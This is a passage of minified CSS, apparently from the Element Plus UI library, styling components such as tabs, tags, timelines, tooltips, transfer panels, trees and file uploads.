.el-tabs__active-bar.is-right{left:0}.el-tabs--right.el-tabs--card .el-tabs__active-bar.is-right{display:none}.el-tabs--right.el-tabs--card .el-tabs__item.is-right{border-bottom:none;border-top:1px solid var(--el-border-color-light)}.el-tabs--right.el-tabs--card .el-tabs__item.is-right:first-child{border-left:1px solid var(--el-border-color-light);border-top:none}.el-tabs--right.el-tabs--card .el-tabs__item.is-right.is-active{border:1px solid var(--el-border-color-light);border-bottom:none;border-left:1px solid #fff;border-right:none}.el-tabs--right.el-tabs--card .el-tabs__item.is-right.is-active:first-child{border-top:none}.el-tabs--right.el-tabs--card .el-tabs__item.is-right.is-active:last-child{border-bottom:none}.el-tabs--right.el-tabs--card .el-tabs__nav{border-bottom:1px solid var(--el-border-color-light);border-left:none;border-radius:0 4px 4px 0}.el-tabs--right.el-tabs--border-card .el-tabs__header.is-right{border-left:1px solid var(--el-border-color)}.el-tabs--right.el-tabs--border-card .el-tabs__item.is-right{border:1px solid transparent;margin:-1px -1px -1px 0}.el-tabs--right.el-tabs--border-card .el-tabs__item.is-right.is-active{border-color:rgb(209,219,229) transparent}.slideInLeft-transition,.slideInRight-transition{display:inline-block}.slideInRight-enter{-webkit-animation:slideInRight-enter var(--el-transition-duration);animation:slideInRight-enter var(--el-transition-duration)}.slideInRight-leave{-webkit-animation:slideInRight-leave var(--el-transition-duration);animation:slideInRight-leave var(--el-transition-duration);left:0;position:absolute;right:0}.slideInLeft-enter{-webkit-animation:slideInLeft-enter var(--el-transition-duration);animation:slideInLeft-enter var(--el-transition-duration)}.slideInLeft-leave{-webkit-animation:slideInLeft-leave var(--el-transition-duration);animation:slideInLeft-leave var(--el-transition-duration);left:0;position:absolute;right:0}@-webkit-keyframes slideInRight-enter{0%{opacity:0;transform:translate(100%);transform-origin:0 0}to{opacity:1;transform:translate(0);transform-origin:0 0}}@keyframes slideInRight-enter{0%{opacity:0;transform:translate(100%);transform-origin:0 0}to{opacity:1;transform:translate(0);transform-origin:0 0}}@-webkit-keyframes slideInRight-leave{0%{opacity:1;transform:translate(0);transform-origin:0 0}to{opacity:0;transform:translate(100%);transform-origin:0 0}}@keyframes slideInRight-leave{0%{opacity:1;transform:translate(0);transform-origin:0 0}to{opacity:0;transform:translate(100%);transform-origin:0 0}}@-webkit-keyframes slideInLeft-enter{0%{opacity:0;transform:translate(-100%);transform-origin:0 0}to{opacity:1;transform:translate(0);transform-origin:0 0}}@keyframes slideInLeft-enter{0%{opacity:0;transform:translate(-100%);transform-origin:0 0}to{opacity:1;transform:translate(0);transform-origin:0 0}}@-webkit-keyframes slideInLeft-leave{0%{opacity:1;transform:translate(0);transform-origin:0 0}to{opacity:0;transform:translate(-100%);transform-origin:0 0}}@keyframes slideInLeft-leave{0%{opacity:1;transform:translate(0);transform-origin:0 0}to{opacity:0;transform:translate(-100%);transform-origin:0 0}}.el-tag{--el-tag-font-size:12px;--el-tag-border-radius:4px;--el-tag-border-radius-rounded:9999px;--el-tag-bg-color:var(--el-color-primary-light-9);--el-tag-border-color:var(--el-color-primary-light-8);--el-tag-hover-color:var(--el-color-primary);align-items:center;background-color:var(--el-tag-bg-color);border-color:var(--el-tag-border-color);border-radius:var(--el-tag-border-radius);border-style:solid;border-width:1px;box-sizing:border-box;color:var(--el-tag-text-color);display:inline-flex;font-size:var(--el-tag-font-size);height:24px;justify-content:center;line-height:1;padding:0 9px;vertical-align:middle;white-space:nowrap;--el-icon-size:14px}.el-tag.el-tag--primary{--el-tag-bg-color:var(--el-color-primary-light-9);--el-tag-border-color:var(--el-color-primary-light-8);--el-tag-hover-color:var(--el-color-primary)}.el-tag.el-tag--success{--el-tag-bg-color:var(--el-color-success-light-9);--el-tag-border-color:var(--el-color-success-light-8);--el-tag-hover-color:var(--el-color-success)}.el-tag.el-tag--warning{--el-tag-bg-color:var(--el-color-warning-light-9);--el-tag-border-color:var(--el-color-warning-light-8);--el-tag-hover-color:var(--el-color-warning)}.el-tag.el-tag--danger{--el-tag-bg-color:var(--el-color-danger-light-9);--el-tag-border-color:var(--el-color-danger-light-8);--el-tag-hover-color:var(--el-color-danger)}.el-tag.el-tag--error{--el-tag-bg-color:var(--el-color-error-light-9);--el-tag-border-color:var(--el-color-error-light-8);--el-tag-hover-color:var(--el-color-error)}.el-tag.el-tag--info{--el-tag-bg-color:var(--el-color-info-light-9);--el-tag-border-color:var(--el-color-info-light-8);--el-tag-hover-color:var(--el-color-info)}.el-tag.el-tag--primary{--el-tag-text-color:var(--el-color-primary)}.el-tag.el-tag--success{--el-tag-text-color:var(--el-color-success)}.el-tag.el-tag--warning{--el-tag-text-color:var(--el-color-warning)}.el-tag.el-tag--danger{--el-tag-text-color:var(--el-color-danger)}.el-tag.el-tag--error{--el-tag-text-color:var(--el-color-error)}.el-tag.el-tag--info{--el-tag-text-color:var(--el-color-info)}.el-tag.is-hit{border-color:var(--el-color-primary)}.el-tag.is-round{border-radius:var(--el-tag-border-radius-rounded)}.el-tag .el-tag__close{color:var(--el-tag-text-color);flex-shrink:0}.el-tag .el-tag__close:hover{background-color:var(--el-tag-hover-color);color:var(--el-color-white)}.el-tag .el-icon{border-radius:50%;cursor:pointer;font-size:calc(var(--el-icon-size) - 2px);height:var(--el-icon-size);width:var(--el-icon-size)}.el-tag .el-tag__close{margin-left:6px}.el-tag--dark{--el-tag-bg-color:var(--el-color-primary);--el-tag-border-color:var(--el-color-primary);--el-tag-hover-color:var(--el-color-primary-light-3);--el-tag-text-color:var(--el-color-white)}.el-tag--dark.el-tag--primary{--el-tag-bg-color:var(--el-color-primary);--el-tag-border-color:var(--el-color-primary);--el-tag-hover-color:var(--el-color-primary-light-3)}.el-tag--dark.el-tag--success{--el-tag-bg-color:var(--el-color-success);--el-tag-border-color:var(--el-color-success);--el-tag-hover-color:var(--el-color-success-light-3)}.el-tag--dark.el-tag--warning{--el-tag-bg-color:var(--el-color-warning);--el-tag-border-color:var(--el-color-warning);--el-tag-hover-color:var(--el-color-warning-light-3)}.el-tag--dark.el-tag--danger{--el-tag-bg-color:var(--el-color-danger);--el-tag-border-color:var(--el-color-danger);--el-tag-hover-color:var(--el-color-danger-light-3)}.el-tag--dark.el-tag--error{--el-tag-bg-color:var(--el-color-error);--el-tag-border-color:var(--el-color-error);--el-tag-hover-color:var(--el-color-error-light-3)}.el-tag--dark.el-tag--info{--el-tag-bg-color:var(--el-color-info);--el-tag-border-color:var(--el-color-info);--el-tag-hover-color:var(--el-color-info-light-3)}.el-tag--dark.el-tag--danger,.el-tag--dark.el-tag--error,.el-tag--dark.el-tag--info,.el-tag--dark.el-tag--primary,.el-tag--dark.el-tag--success,.el-tag--dark.el-tag--warning{--el-tag-text-color:var(--el-color-white)}.el-tag--plain{--el-tag-border-color:var(--el-color-primary-light-5);--el-tag-hover-color:var(--el-color-primary);--el-tag-bg-color:var(--el-fill-color-blank)}.el-tag--plain.el-tag--primary{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-primary-light-5);--el-tag-hover-color:var(--el-color-primary)}.el-tag--plain.el-tag--success{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-success-light-5);--el-tag-hover-color:var(--el-color-success)}.el-tag--plain.el-tag--warning{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-warning-light-5);--el-tag-hover-color:var(--el-color-warning)}.el-tag--plain.el-tag--danger{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-danger-light-5);--el-tag-hover-color:var(--el-color-danger)}.el-tag--plain.el-tag--error{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-error-light-5);--el-tag-hover-color:var(--el-color-error)}.el-tag--plain.el-tag--info{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-info-light-5);--el-tag-hover-color:var(--el-color-info)}.el-tag.is-closable{padding-right:5px}.el-tag--large{height:32px;padding:0 11px;--el-icon-size:16px}.el-tag--large .el-tag__close{margin-left:8px}.el-tag--large.is-closable{padding-right:7px}.el-tag--small{height:20px;padding:0 7px;--el-icon-size:12px}.el-tag--small .el-tag__close{margin-left:4px}.el-tag--small.is-closable{padding-right:3px}.el-tag--small .el-icon-close{transform:scale(.8)}.el-tag.el-tag--primary.is-hit{border-color:var(--el-color-primary)}.el-tag.el-tag--success.is-hit{border-color:var(--el-color-success)}.el-tag.el-tag--warning.is-hit{border-color:var(--el-color-warning)}.el-tag.el-tag--danger.is-hit{border-color:var(--el-color-danger)}.el-tag.el-tag--error.is-hit{border-color:var(--el-color-error)}.el-tag.el-tag--info.is-hit{border-color:var(--el-color-info)}.el-text{--el-text-font-size:var(--el-font-size-base);--el-text-color:var(--el-text-color-regular);align-self:center;color:var(--el-text-color);font-size:var(--el-text-font-size);margin:0;overflow-wrap:break-word;padding:0}.el-text.is-truncated{display:inline-block;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.el-text.is-line-clamp{display:-webkit-inline-box;-webkit-box-orient:vertical;overflow:hidden}.el-text--large{--el-text-font-size:var(--el-font-size-medium)}.el-text--default{--el-text-font-size:var(--el-font-size-base)}.el-text--small{--el-text-font-size:var(--el-font-size-extra-small)}.el-text.el-text--primary{--el-text-color:var(--el-color-primary)}.el-text.el-text--success{--el-text-color:var(--el-color-success)}.el-text.el-text--warning{--el-text-color:var(--el-color-warning)}.el-text.el-text--danger{--el-text-color:var(--el-color-danger)}.el-text.el-text--error{--el-text-color:var(--el-color-error)}.el-text.el-text--info{--el-text-color:var(--el-color-info)}.el-text>.el-icon{vertical-align:-2px}.time-select{margin:5px 0;min-width:0}.time-select .el-picker-panel__content{margin:0;max-height:200px}.time-select-item{font-size:14px;line-height:20px;padding:8px 10px}.time-select-item.disabled{color:var(--el-datepicker-border-color);cursor:not-allowed}.time-select-item:hover{background-color:var(--el-fill-color-light);cursor:pointer;font-weight:700}.time-select .time-select-item.selected:not(.disabled){color:var(--el-color-primary);font-weight:700}.el-timeline-item{padding-bottom:20px;position:relative}.el-timeline-item__wrapper{padding-left:28px;position:relative;top:-3px}.el-timeline-item__tail{border-left:2px solid var(--el-timeline-node-color);height:100%;left:4px;position:absolute}.el-timeline-item .el-timeline-item__icon{color:var(--el-color-white);font-size:var(--el-font-size-small)}.el-timeline-item__node{align-items:center;background-color:var(--el-timeline-node-color);border-color:var(--el-timeline-node-color);border-radius:50%;box-sizing:border-box;display:flex;justify-content:center;position:absolute}.el-timeline-item__node--normal{height:var(--el-timeline-node-size-normal);left:-1px;width:var(--el-timeline-node-size-normal)}.el-timeline-item__node--large{height:var(--el-timeline-node-size-large);left:-2px;width:var(--el-timeline-node-size-large)}.el-timeline-item__node.is-hollow{background:var(--el-color-white);border-style:solid;border-width:2px}.el-timeline-item__node--primary{background-color:var(--el-color-primary);border-color:var(--el-color-primary)}.el-timeline-item__node--success{background-color:var(--el-color-success);border-color:var(--el-color-success)}.el-timeline-item__node--warning{background-color:var(--el-color-warning);border-color:var(--el-color-warning)}.el-timeline-item__node--danger{background-color:var(--el-color-danger);border-color:var(--el-color-danger)}.el-timeline-item__node--info{background-color:var(--el-color-info);border-color:var(--el-color-info)}.el-timeline-item__dot{align-items:center;display:flex;justify-content:center;position:absolute}.el-timeline-item__content{color:var(--el-text-color-primary)}.el-timeline-item__timestamp{color:var(--el-text-color-secondary);font-size:var(--el-font-size-small);line-height:1}.el-timeline-item__timestamp.is-top{margin-bottom:8px;padding-top:4px}.el-timeline-item__timestamp.is-bottom{margin-top:8px}.el-timeline{--el-timeline-node-size-normal:12px;--el-timeline-node-size-large:14px;--el-timeline-node-color:var(--el-border-color-light);font-size:var(--el-font-size-base);list-style:none;margin:0}.el-timeline .el-timeline-item:last-child .el-timeline-item__tail{display:none}.el-timeline .el-timeline-item__center{align-items:center;display:flex}.el-timeline .el-timeline-item__center .el-timeline-item__wrapper{width:100%}.el-timeline .el-timeline-item__center .el-timeline-item__tail{top:0}.el-timeline .el-timeline-item__center:first-child .el-timeline-item__tail{height:calc(50% + 10px);top:calc(50% - 10px)}.el-timeline .el-timeline-item__center:last-child .el-timeline-item__tail{display:block;height:calc(50% - 10px)}.el-tooltip-v2__content{--el-tooltip-v2-padding:5px 10px;--el-tooltip-v2-border-radius:4px;--el-tooltip-v2-border-color:var(--el-border-color);background-color:var(--el-color-white);border:1px solid var(--el-border-color);border-radius:var(--el-tooltip-v2-border-radius);color:var(--el-color-black);padding:var(--el-tooltip-v2-padding)}.el-tooltip-v2__arrow{color:var(--el-color-white);height:var(--el-tooltip-v2-arrow-height);left:var(--el-tooltip-v2-arrow-x);pointer-events:none;position:absolute;top:var(--el-tooltip-v2-arrow-y);width:var(--el-tooltip-v2-arrow-width)}.el-tooltip-v2__arrow:before{border:var(--el-tooltip-v2-arrow-border-width) solid transparent;content:"";height:0;position:absolute;width:0}.el-tooltip-v2__arrow:after{border:var(--el-tooltip-v2-arrow-border-width) solid transparent;content:"";height:0;position:absolute;width:0}.el-tooltip-v2__content[data-side^=top] .el-tooltip-v2__arrow{bottom:0}.el-tooltip-v2__content[data-side^=top] .el-tooltip-v2__arrow:before{border-bottom:0;border-top-color:var(--el-color-white);border-top-width:var(--el-tooltip-v2-arrow-border-width);top:calc(100% - 1px)}.el-tooltip-v2__content[data-side^=top] .el-tooltip-v2__arrow:after{border-bottom:0;border-top-color:var(--el-border-color);border-top-width:var(--el-tooltip-v2-arrow-border-width);top:100%;z-index:-1}.el-tooltip-v2__content[data-side^=bottom] .el-tooltip-v2__arrow{top:0}.el-tooltip-v2__content[data-side^=bottom] .el-tooltip-v2__arrow:before{border-bottom-color:var(--el-color-white);border-bottom-width:var(--el-tooltip-v2-arrow-border-width);border-top:0;bottom:calc(100% - 1px)}.el-tooltip-v2__content[data-side^=bottom] .el-tooltip-v2__arrow:after{border-bottom-color:var(--el-border-color);border-bottom-width:var(--el-tooltip-v2-arrow-border-width);border-top:0;bottom:100%;z-index:-1}.el-tooltip-v2__content[data-side^=left] .el-tooltip-v2__arrow{right:0}.el-tooltip-v2__content[data-side^=left] .el-tooltip-v2__arrow:before{border-left-color:var(--el-color-white);border-left-width:var(--el-tooltip-v2-arrow-border-width);border-right:0;left:calc(100% - 1px)}.el-tooltip-v2__content[data-side^=left] .el-tooltip-v2__arrow:after{border-left-color:var(--el-border-color);border-left-width:var(--el-tooltip-v2-arrow-border-width);border-right:0;left:100%;z-index:-1}.el-tooltip-v2__content[data-side^=right] .el-tooltip-v2__arrow{left:0}.el-tooltip-v2__content[data-side^=right] .el-tooltip-v2__arrow:before{border-left:0;border-right-color:var(--el-color-white);border-right-width:var(--el-tooltip-v2-arrow-border-width);right:calc(100% - 1px)}.el-tooltip-v2__content[data-side^=right] .el-tooltip-v2__arrow:after{border-left:0;border-right-color:var(--el-border-color);border-right-width:var(--el-tooltip-v2-arrow-border-width);right:100%;z-index:-1}.el-tooltip-v2__content.is-dark{--el-tooltip-v2-border-color:transparent;color:var(--el-color-white)}.el-tooltip-v2__content.is-dark,.el-tooltip-v2__content.is-dark .el-tooltip-v2__arrow{background-color:var(--el-color-black);border-color:transparent}.el-transfer{--el-transfer-border-color:var(--el-border-color-lighter);--el-transfer-border-radius:var(--el-border-radius-base);--el-transfer-panel-width:200px;--el-transfer-panel-header-height:40px;--el-transfer-panel-header-bg-color:var(--el-fill-color-light);--el-transfer-panel-footer-height:40px;--el-transfer-panel-body-height:278px;--el-transfer-item-height:30px;--el-transfer-filter-height:32px;font-size:var(--el-font-size-base)}.el-transfer__buttons{display:inline-block;padding:0 30px;vertical-align:middle}.el-transfer__button{vertical-align:top}.el-transfer__button:nth-child(2){margin:0 0 0 10px}.el-transfer__button i,.el-transfer__button span{font-size:14px}.el-transfer__button .el-icon+span{margin-left:0}.el-transfer-panel{background:var(--el-bg-color-overlay);box-sizing:border-box;display:inline-block;max-height:100%;overflow:hidden;position:relative;text-align:left;vertical-align:middle;width:var(--el-transfer-panel-width)}.el-transfer-panel__body{border-bottom:1px solid var(--el-transfer-border-color);border-bottom-left-radius:var(--el-transfer-border-radius);border-bottom-right-radius:var(--el-transfer-border-radius);border-left:1px solid var(--el-transfer-border-color);border-right:1px solid var(--el-transfer-border-color);height:var(--el-transfer-panel-body-height);overflow:hidden}.el-transfer-panel__body.is-with-footer{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.el-transfer-panel__list{box-sizing:border-box;height:var(--el-transfer-panel-body-height);list-style:none;margin:0;overflow:auto;padding:6px 0}.el-transfer-panel__list.is-filterable{height:calc(100% - var(--el-transfer-filter-height) - 30px);padding-top:0}.el-transfer-panel__item{display:block!important;height:var(--el-transfer-item-height);line-height:var(--el-transfer-item-height);padding-left:15px}.el-transfer-panel__item+.el-transfer-panel__item{margin-left:0}.el-transfer-panel__item.el-checkbox{color:var(--el-text-color-regular)}.el-transfer-panel__item:hover{color:var(--el-color-primary)}.el-transfer-panel__item.el-checkbox .el-checkbox__label{box-sizing:border-box;display:block;line-height:var(--el-transfer-item-height);overflow:hidden;padding-left:22px;text-overflow:ellipsis;white-space:nowrap;width:100%}.el-transfer-panel__item .el-checkbox__input{position:absolute;top:8px}.el-transfer-panel__filter{box-sizing:border-box;padding:15px;text-align:center}.el-transfer-panel__filter .el-input__inner{border-radius:calc(var(--el-transfer-filter-height)/2);box-sizing:border-box;display:inline-block;font-size:12px;height:var(--el-transfer-filter-height);width:100%}.el-transfer-panel__filter .el-icon-circle-close{cursor:pointer}.el-transfer-panel .el-transfer-panel__header{align-items:center;background:var(--el-transfer-panel-header-bg-color);border:1px solid var(--el-transfer-border-color);border-top-left-radius:var(--el-transfer-border-radius);border-top-right-radius:var(--el-transfer-border-radius);box-sizing:border-box;color:var(--el-color-black);display:flex;height:var(--el-transfer-panel-header-height);margin:0;padding-left:15px}.el-transfer-panel .el-transfer-panel__header .el-checkbox{align-items:center;display:flex;position:relative;width:100%}.el-transfer-panel .el-transfer-panel__header .el-checkbox .el-checkbox__label{color:var(--el-text-color-primary);font-size:16px;font-weight:400}.el-transfer-panel .el-transfer-panel__header .el-checkbox .el-checkbox__label span{color:var(--el-text-color-secondary);font-size:12px;font-weight:400;position:absolute;right:15px;top:50%;transform:translate3d(0,-50%,0)}.el-transfer-panel .el-transfer-panel__footer{background:var(--el-bg-color-overlay);border:1px solid var(--el-transfer-border-color);border-bottom-left-radius:var(--el-transfer-border-radius);border-bottom-right-radius:var(--el-transfer-border-radius);height:var(--el-transfer-panel-footer-height);margin:0;padding:0}.el-transfer-panel .el-transfer-panel__footer:after{content:"";display:inline-block;height:100%;vertical-align:middle}.el-transfer-panel .el-transfer-panel__footer .el-checkbox{color:var(--el-text-color-regular);padding-left:20px}.el-transfer-panel .el-transfer-panel__empty{color:var(--el-text-color-secondary);height:var(--el-transfer-item-height);line-height:var(--el-transfer-item-height);margin:0;padding:6px 15px 0;text-align:center}.el-transfer-panel .el-checkbox__label{padding-left:8px}.el-transfer-panel .el-checkbox__inner{border-radius:3px;height:14px;width:14px}.el-transfer-panel .el-checkbox__inner:after{height:6px;left:4px;width:3px}.el-tree{--el-tree-node-content-height:26px;--el-tree-node-hover-bg-color:var(--el-fill-color-light);--el-tree-text-color:var(--el-text-color-regular);--el-tree-expand-icon-color:var(--el-text-color-placeholder);background:var(--el-fill-color-blank);color:var(--el-tree-text-color);cursor:default;font-size:var(--el-font-size-base);position:relative}.el-tree__empty-block{height:100%;min-height:60px;position:relative;text-align:center;width:100%}.el-tree__empty-text{color:var(--el-text-color-secondary);font-size:var(--el-font-size-base);left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}.el-tree__drop-indicator{background-color:var(--el-color-primary);height:1px;left:0;position:absolute;right:0}.el-tree-node{outline:none;white-space:nowrap}.el-tree-node:focus>.el-tree-node__content{background-color:var(--el-tree-node-hover-bg-color)}.el-tree-node.is-drop-inner>.el-tree-node__content .el-tree-node__label{background-color:var(--el-color-primary);color:#fff}.el-tree-node__content{--el-checkbox-height:var(--el-tree-node-content-height);align-items:center;cursor:pointer;display:flex;height:var(--el-tree-node-content-height)}.el-tree-node__content>.el-tree-node__expand-icon{box-sizing:content-box;padding:6px}.el-tree-node__content>label.el-checkbox{margin-right:8px}.el-tree-node__content:hover{background-color:var(--el-tree-node-hover-bg-color)}.el-tree.is-dragging .el-tree-node__content{cursor:move}.el-tree.is-dragging .el-tree-node__content *{pointer-events:none}.el-tree.is-dragging.is-drop-not-allow .el-tree-node__content{cursor:not-allowed}.el-tree-node__expand-icon{color:var(--el-tree-expand-icon-color);cursor:pointer;font-size:12px;transform:rotate(0);transition:transform var(--el-transition-duration) ease-in-out}.el-tree-node__expand-icon.expanded{transform:rotate(90deg)}.el-tree-node__expand-icon.is-leaf{color:transparent;cursor:default;visibility:hidden}.el-tree-node__expand-icon.is-hidden{visibility:hidden}.el-tree-node__loading-icon{color:var(--el-tree-expand-icon-color);font-size:var(--el-font-size-base);margin-right:8px}.el-tree-node>.el-tree-node__children{background-color:transparent;overflow:hidden}.el-tree-node.is-expanded>.el-tree-node__children{display:block}.el-tree--highlight-current .el-tree-node.is-current>.el-tree-node__content{background-color:var(--el-color-primary-light-9)}.el-tree-select{--el-tree-node-content-height:26px;--el-tree-node-hover-bg-color:var(--el-fill-color-light);--el-tree-text-color:var(--el-text-color-regular);--el-tree-expand-icon-color:var(--el-text-color-placeholder)}.el-tree-select__popper .el-tree-node__expand-icon{margin-left:8px}.el-tree-select__popper .el-tree-node.is-checked>.el-tree-node__content .el-select-dropdown__item.selected:after{content:none}.el-tree-select__popper .el-select-dropdown__item{background:transparent!important;flex:1;height:20px;line-height:20px;padding-left:0}.el-upload{--el-upload-dragger-padding-horizontal:40px;--el-upload-dragger-padding-vertical:10px;align-items:center;cursor:pointer;display:inline-flex;justify-content:center;outline:none}.el-upload__input{display:none}.el-upload__tip{color:var(--el-text-color-regular);font-size:12px;margin-top:7px}.el-upload iframe{filter:alpha(opacity=0);left:0;opacity:0;position:absolute;top:0;z-index:-1}.el-upload--picture-card{--el-upload-picture-card-size:148px;align-items:center;background-color:var(--el-fill-color-lighter);border:1px dashed var(--el-border-color-darker);border-radius:6px;box-sizing:border-box;cursor:pointer;display:inline-flex;height:var(--el-upload-picture-card-size);justify-content:center;vertical-align:top;width:var(--el-upload-picture-card-size)}.el-upload--picture-card>i{color:var(--el-text-color-secondary);font-size:28px}.el-upload--picture-card:hover{border-color:var(--el-color-primary);color:var(--el-color-primary)}.el-upload.is-drag{display:block}.el-upload:focus{border-color:var(--el-color-primary);color:var(--el-color-primary)}.el-upload:focus .el-upload-dragger{border-color:var(--el-color-primary)}.el-upload-dragger{background-color:var(--el-fill-color-blank);border:1px dashed var(--el-border-color);border-radius:6px;box-sizing:border-box;cursor:pointer;overflow:hidden;padding:var(--el-upload-dragger-padding-horizontal) var(--el-upload-dragger-padding-vertical);position:relative;text-align:center}.el-upload-dragger .el-icon--upload{color:var(--el-text-color-placeholder);font-size:67px;line-height:50px;margin-bottom:16px}.el-upload-dragger+.el-upload__tip{text-align:center}.el-upload-dragger~.el-upload__files{border-top:var(--el-border);margin-top:7px;padding-top:5px}.el-upload-dragger .el-upload__text{color:var(--el-text-color-regular);font-size:14px;text-align:center}.el-upload-dragger .el-upload__text em{color:var(--el-color-primary);font-style:normal}.el-upload-dragger:hover{border-color:var(--el-color-primary)}.el-upload-dragger.is-dragover{background-color:var(--el-color-primary-light-9);border:2px dashed var(--el-color-primary);padding:calc(var(--el-upload-dragger-padding-horizontal) - 1px) calc(var(--el-upload-dragger-padding-vertical) - 1px)}.el-upload-list{list-style:none;margin:10px 0 0;padding:0;position:relative}.el-upload-list__item{border-radius:4px;box-sizing:border-box;color:var(--el-text-color-regular);font-size:14px;margin-bottom:5px;position:relative;transition:all .5s cubic-bezier(.55,0,.1,1);width:100%}.el-upload-list__item .el-progress{position:absolute;top:20px;width:100%}.el-upload-list__item .el-progress__text{position:absolute;right:0;top:-13px}.el-upload-list__item .el-progress-bar{margin-right:0;padding-right:0}.el-upload-list__item .el-icon--upload-success{color:var(--el-color-success)}.el-upload-list__item .el-icon--close{color:var(--el-text-color-regular);cursor:pointer;display:none;opacity:.75;position:absolute;right:5px;top:50%;transform:translateY(-50%);transition:opacity var(--el-transition-duration)}.el-upload-list__item .el-icon--close:hover{color:var(--el-color-primary);opacity:1}.el-upload-list__item .el-icon--close-tip{color:var(--el-color-primary);cursor:pointer;display:none;font-size:12px;font-style:normal;opacity:1;position:absolute;right:5px;top:1px}.el-upload-list__item:hover{background-color:var(--el-fill-color-light)}.el-upload-list__item:hover .el-icon--close{display:inline-flex}.el-upload-list__item:hover .el-progress__text{display:none}.el-upload-list__item .el-upload-list__item-info{display:inline-flex;flex-direction:column;justify-content:center;margin-left:4px;width:calc(100% - 30px)}.el-upload-list__item.is-success .el-upload-list__item-status-label{display:inline-flex}.el-upload-list__item.is-success .el-upload-list__item-name:focus,.el-upload-list__item.is-success .el-upload-list__item-name:hover{color:var(--el-color-primary);cursor:pointer}.el-upload-list__item.is-success:focus:not(:hover) .el-icon--close-tip{display:inline-block}.el-upload-list__item.is-success:active,.el-upload-list__item.is-success:not(.focusing):focus{outline-width:0}.el-upload-list__item.is-success:active .el-icon--close-tip,.el-upload-list__item.is-success:not(.focusing):focus .el-icon--close-tip{display:none}.el-upload-list__item.is-success:focus .el-upload-list__item-status-label,.el-upload-list__item.is-success:hover .el-upload-list__item-status-label{display:none;opacity:0}.el-upload-list__item-name{align-items:center;color:var(--el-text-color-regular);display:inline-flex;font-size:var(--el-font-size-base);padding:0 4px;text-align:center;transition:color var(--el-transition-duration)}.el-upload-list__item-name .el-icon{color:var(--el-text-color-secondary);margin-right:6px}.el-upload-list__item-file-name{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.el-upload-list__item-status-label{align-items:center;display:none;height:100%;justify-content:center;line-height:inherit;position:absolute;right:5px;top:0;transition:opacity var(--el-transition-duration)}.el-upload-list__item-delete{color:var(--el-text-color-regular);display:none;font-size:12px;position:absolute;right:10px;top:0}.el-upload-list__item-delete:hover{color:var(--el-color-primary)}.el-upload-list--picture-card{--el-upload-list-picture-card-size:148px;display:inline-flex;flex-wrap:wrap;margin:0}.el-upload-list--picture-card .el-upload-list__item{background-color:var(--el-fill-color-blank);border:1px solid var(--el-border-color);border-radius:6px;box-sizing:border-box;display:inline-flex;height:var(--el-upload-list-picture-card-size);margin:0 8px 8px 0;overflow:hidden;padding:0;width:var(--el-upload-list-picture-card-size)}.el-upload-list--picture-card .el-upload-list__item .el-icon--check,.el-upload-list--picture-card .el-upload-list__item .el-icon--circle-check{color:#fff}.el-upload-list--picture-card .el-upload-list__item .el-icon--close{display:none}.el-upload-list--picture-card .el-upload-list__item:hover .el-upload-list__item-status-label{display:block;opacity:0}.el-upload-list--picture-card .el-upload-list__item:hover .el-progress__text{display:block}.el-upload-list--picture-card .el-upload-list__item .el-upload-list__item-name{display:none}.el-upload-list--picture-card .el-upload-list__item-thumbnail{height:100%;-o-object-fit:contain;object-fit:contain;width:100%}.el-upload-list--picture-card .el-upload-list__item-status-label{background:var(--el-color-success);height:24px;right:-15px;text-align:center;top:-6px;transform:rotate(45deg);width:40px}.el-upload-list--picture-card .el-upload-list__item-status-label i{font-size:12px;margin-top:11px;transform:rotate(-45deg)}.el-upload-list--picture-card .el-upload-list__item-actions{align-items:center;background-color:var(--el-overlay-color-lighter);color:#fff;cursor:default;display:inline-flex;font-size:20px;height:100%;justify-content:center;left:0;opacity:0;position:absolute;top:0;transition:opacity var(--el-transition-duration);width:100%}.el-upload-list--picture-card .el-upload-list__item-actions span{cursor:pointer;display:none}.el-upload-list--picture-card .el-upload-list__item-actions span+span{margin-left:1rem}.el-upload-list--picture-card .el-upload-list__item-actions .el-upload-list__item-delete{color:inherit;font-size:inherit;position:static}.el-upload-list--picture-card .el-upload-list__item-actions:hover{opacity:1}.el-upload-list--picture-card .el-upload-list__item-actions:hover span{display:inline-flex}.el-upload-list--picture-card .el-progress{bottom:auto;left:50%;top:50%;transform:translate(-50%,-50%);width:126px}.el-upload-list--picture-card .el-progress .el-progress__text{top:50%}.el-upload-list--picture .el-upload-list__item{align-items:center;background-color:var(--el-fill-color-blank);border:1px solid var(--el-border-color);border-radius:6px;box-sizing:border-box;display:flex;margin-top:10px;overflow:hidden;padding:10px;z-index:0}.el-upload-list--picture .el-upload-list__item .el-icon--check,.el-upload-list--picture .el-upload-list__item .el-icon--circle-check{color:#fff}.el-upload-list--picture .el-upload-list__item:hover .el-upload-list__item-status-label{display:inline-flex;opacity:0}.el-upload-list--picture .el-upload-list__item:hover .el-progress__text{display:block}.el-upload-list--picture .el-upload-list__item.is-success .el-upload-list__item-name i{display:none}.el-upload-list--picture .el-upload-list__item .el-icon--close{top:5px;transform:translateY(0)}.el-upload-list--picture .el-upload-list__item-thumbnail{align-items:center;background-color:var(--el-color-white);display:inline-flex;height:70px;justify-content:center;-o-object-fit:contain;object-fit:contain;position:relative;width:70px;z-index:1}.el-upload-list--picture .el-upload-list__item-status-label{background:var(--el-color-success);height:26px;position:absolute;right:-17px;text-align:center;top:-7px;transform:rotate(45deg);width:46px}.el-upload-list--picture .el-upload-list__item-status-label i{font-size:12px;margin-top:12px;transform:rotate(-45deg)}.el-upload-list--picture .el-progress{position:relative;top:-7px}.el-upload-cover{cursor:default;height:100%;left:0;overflow:hidden;position:absolute;top:0;width:100%;z-index:10}.el-upload-cover:after{content:"";display:inline-block;height:100%;vertical-align:middle}.el-upload-cover img{display:block;height:100%;width:100%}.el-upload-cover__label{background:var(--el-color-success);height:24px;right:-15px;text-align:center;top:-6px;transform:rotate(45deg);width:40px}.el-upload-cover__label 